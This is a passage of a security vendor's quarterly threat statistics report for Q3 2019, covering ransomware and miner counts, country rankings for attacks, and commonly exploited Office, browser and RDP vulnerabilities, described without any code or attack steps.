Number of new modifications

In Q3 2019, we identified three new families of ransomware Trojans and discovered 13,138 new modifications of this malware.

Number of users attacked by ransomware Trojans

In Q3 2019, Kaspersky products defeated ransomware attacks against 229,643 unique KSN users. This is slightly fewer than the previous quarter.

July saw the largest number of attacked users — 100,380, almost 20,000 more than in June. After that, however, this indicator fell sharply and did not stray far from the figure of 90,000 attacked users.

Attack geography

TOP 10 countries attacked by ransomware Trojans

Country* % of users attacked by cryptors**
1 Bangladesh 6.39
2 Mozambique 2.96
3 Uzbekistan 2.26
4 Nepal 1.71
5 Ethiopia 1.29
6 Ghana 1.19
7 Afghanistan 1.12
8 Egypt 0.83
9 Palestine 0.80
10 Vietnam 0.79

* Excluded are countries with relatively few Kaspersky users (under 50,000).
** Unique users whose computers were attacked by ransomware Trojans as a percentage of all unique users of Kaspersky products in the country.

TOP 10 most common families of ransomware Trojans

Name Verdicts % of attacked users*
1 WannaCry Trojan-Ransom.Win32.Wanna 20.96
2 (generic verdict) Trojan-Ransom.Win32.Phny 20.01
3 GandCrab Trojan-Ransom.Win32.GandCrypt 8.58
4 (generic verdict) Trojan-Ransom.Win32.Gen 8.36
5 (generic verdict) Trojan-Ransom.Win32.Encoder 6.56
6 (generic verdict) Trojan-Ransom.Win32.Crypren 5.08
7 Stop Trojan-Ransom.Win32.Stop 4.63
8 Rakhni Trojan-Ransom.Win32.Rakhni 3.97
9 (generic verdict) Trojan-Ransom.Win32.Crypmod 2.77
10 PolyRansom/VirLock Virus.Win32.PolyRansom
Trojan-Ransom.Win32. PolyRansom
2.50

* Unique Kaspersky users attacked by the specified family of ransomware Trojans as a percentage of all users attacked by ransomware Trojans.

Miners

Number of new modifications

In Q3 2019, Kaspersky solutions detected 11 753 new modifications of miners.

Number of users attacked by miners

In Q3, we detected attacks using miners on the computers of 639,496 unique users of Kaspersky products worldwide.

The number of attacked users continued to decline in Q3, down to 282,334 in August. In September, this indicator began to grow — up to 297,394 — within touching distance of July’s figure.

Attack geography

TOP 10 countries by share of users attacked by miners

Country* % of users attacked by miners**
1 Afghanistan 9.42
2 Ethiopia 7.29
3 Uzbekistan 4.99
4 Sri Lanka 4.62
5 Tanzania 4.35
6 Vietnam 3.72
7 Kazakhstan 3.66
8 Mozambique 3.44
9 Rwanda 2.55
10 Bolivia 2.43

* Excluded are countries with relatively few Kaspersky users (under 50,000).
** Unique users whose computers were attacked by miners as a percentage of all unique users of Kaspersky products in the country.

Vulnerable applications used by cybercriminals during cyber attacks

As before, in the statistics on the distribution of exploits used by cybercriminals, a huge share belongs to vulnerabilities in the Microsoft Office suite (73%). Most common of all, as in the previous quarter, were stack overflow errors (CVE-2017-11882, CVE-2018-0802) in the Equation Editor application, which was previously part of Microsoft Office. Other Microsoft Office vulnerabilities widely exploited this quarter were again CVE-2017-8570, CVE-2017-8759, and CVE-2017-0199.

Modern browsers are complex software products, which means that new vulnerabilities are constantly being discovered and used in attacks (13%). The most common target for cybercriminals is Microsoft Internet Explorer, vulnerabilities in which are often exploited in the wild. This quarter saw the discovery of the actively exploited zero-day vulnerability CVE-2019-1367, which causes memory corruption and allows remote code execution on the target system. The fact that Microsoft released an unscheduled patch for it points to how serious the situation was. Nor was Google Chrome problem-free this quarter, having received updates to fix a number of critical vulnerabilities (CVE-2019-13685, CVE-2019-13686, CVE-2019-13687, CVE-2019-13688), some of which allow intruders to circumvent all levels of browser protection and execute code in the system, bypassing the sandbox.

The majority of vulnerabilities aimed at privilege escalation inside the system stem from individual operating system services and popular apps. Privilege escalation vulnerabilities play a special role, as they are often utilized in malicious software to obtain persistence in the target system. Of note this quarter are the vulnerabilities CVE-2019-14743 and CVE-2019-15315, which allow compromising systems with the popular Steam client installed. A flaw in the Microsoft Windows Text Services Framework also warrants a mention. A Google researcher published a tool to demonstrate the problem (CtfTool), which allows processes to be run with system privileges, as well as changes to be made to the memory of other processes and arbitrary code to be executed in them.

Network attacks are still widespread. This quarter, as in previous ones, we registered numerous attempts to exploit vulnerabilities in the SMB protocol. This indicates that unprotected and not-updated systems are still at high risk of infection in attacks that deploy EternalBlue, EternalRomance, and other exploits. That said, a large share of malicious network traffic is made up of requests aimed at bruteforcing passwords in popular network services and servers, such as Remote Desktop Protocol and Microsoft SQL Server. RDP faced other problems too related to the detection of several vulnerabilities in this network protocol united under the common name DejaBlue (CVE-2019-1181, CVE-2019-1182, CVE-2019-1222, CVE-2019-1223, CVE-2019-1224, CVE-2019-1225, CVE-2019-1226). Unlike the previously discovered CVE-2019-0708, these vulnerabilities affect not only old versions of operating systems, but new ones as well, such as Windows 10. As in the case of CVE-2019-0708, some DejaBlue vulnerabilities do not require authorization in the attacked system and allow to carry out malicious activity invisible to the user. Therefore, it is vital to promptly install the latest updates for both the operating system and antivirus solutions to reduce the risk of infection.

Attacks via web resources

The statistics in this section are based on Web Anti-Virus, which protects users when malicious objects are downloaded from malicious/infected web pages. Malicious websites are specially created by cybercriminals; web resources with user-created content (for example, forums), as well as hacked legitimate resources, can be infected.

Countries that are sources of web-based attacks: TOP 10

The following statistics show the distribution by country of the sources of Internet attacks blocked by Kaspersky products on user computers (web pages with redirects to exploits, sites containing exploits and other malicious programs, botnet C&C centers, etc.). Any unique host could be the source of one or more web-based attacks.

To determine the geographical source of web-based attacks, domain names are matched against their actual domain IP addresses, and then the geographical location of a specific IP address (GEOIP) is established.

In Q3 2019, Kaspersky solutions blocked 989,432,403 attacks launched from online resources located in 203 countries across the globe. 560,025,316 unique URLs triggered Web Anti-Virus components.

Countries where users faced the greatest risk of online infection

To assess the risk of online infection faced by users in different countries, for each country we calculated the percentage of Kaspersky users on whose computers Web Anti-Virus was triggered during the quarter. The resulting data provides an indication of the aggressiveness of the environment in which computers operate in different countries.

This rating only includes attacks by malicious programs that fall under the Malware class; it does not include Web Anti-Virus detections of potentially dangerous or unwanted programs such as RiskTool or adware.

Country* % of attacked users**
1 Tunisia 23.26
2 Algeria 19.75
3 Albania 18.77
4 Réunion 16.46
5 Bangladesh 16.46
6 Venezuela 16.21
7 North Macedonia 15.33
8 France 15.09
9 Qatar 14.97
10 Martinique 14.84
11 Greece 14.59
12 Serbia 14.36
13 Syria 13.99
14 Bulgaria 13.88
15 Philippines 13.71
16 UAE 13.64
17 Djibouti 13.47
18 Morocco 13.35
19 Belarus 13.34
20 Saudi Arabia 13.30

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users targeted by Malware-class attacks as a percentage of all unique users of Kaspersky products in the country.

These statistics are based on detection verdicts returned by the Web Anti-Virus module that were received from users of Kaspersky products who consented to provide statistical data.

On average, 10.97% of Internet user computers worldwide experienced at least one Malware-class attack.

Local threats

Statistics on local infections of user computers are an important indicator. They include objects that penetrated the target computer through infecting files or removable media, or initially made their way onto the computer in non-open form (for example, programs in complex installers, encrypted files, etc.).

Data in this section is based on analyzing statistics produced by Anti-Virus scans of files on the hard drive at the moment they were created or accessed, and the results of scanning removable storage media.

In Q3 2019, our File Anti-Virus detected 230,051,054 malicious and potentially unwanted objects.

Countries where users faced the highest risk of local infection

For each country, we calculated the percentage of Kaspersky product users on whose computers File Anti-Virus was triggered during the reporting period. These statistics reflect the level of personal computer infection in different countries.

Note that this rating only includes attacks by malicious programs that fall under the Malware class; it does not include File Anti-Virus triggers in response to potentially dangerous or unwanted programs, such as RiskTool or adware.

Country* % of attacked users**
1 Afghanistan 53.45
2 Tajikistan 48.43
3 Yemen 48.39
4 Uzbekistan 48.38
5 Turkmenistan 45.95
6 Myanmar 45.27
7 Ethiopia 44.18
8 Laos 43.24
9 Bangladesh 42.96
10 Mozambique 41.58
11 Syria 41.15
12 Vietnam 41.11
13 Iraq 41.09
14 Sudan 40.18
15 Kyrgyzstan 40.06
16 China 39.94
17 Rwanda 39.49
18 Venezuela 39.18
19 Malawi 38.81
20 Nepal 38.38

These statistics are based on detection verdicts returned by OAS and ODS Anti-Virus modules received from users of Kaspersky products who consented to provide statistical data. The data includes detections of malicious programs located on user computers or removable media connected to computers, such as flash drives, camera memory cards, phones and external hard drives.

* Excluded are countries with relatively few Kaspersky users (under 10,000).
** Unique users on whose computers Malware-class local threats were blocked, as a percentage of all unique users of Kaspersky products in the country.

Overall, 21.1% of user computers globally faced at least one Malware-class local threat during Q3.

The figure for Russia was 24.24%.

]]>
https://securelist.com/it-threat-evolution-q3-2019-statistics/95269/feed/ 0 full large medium thumbnail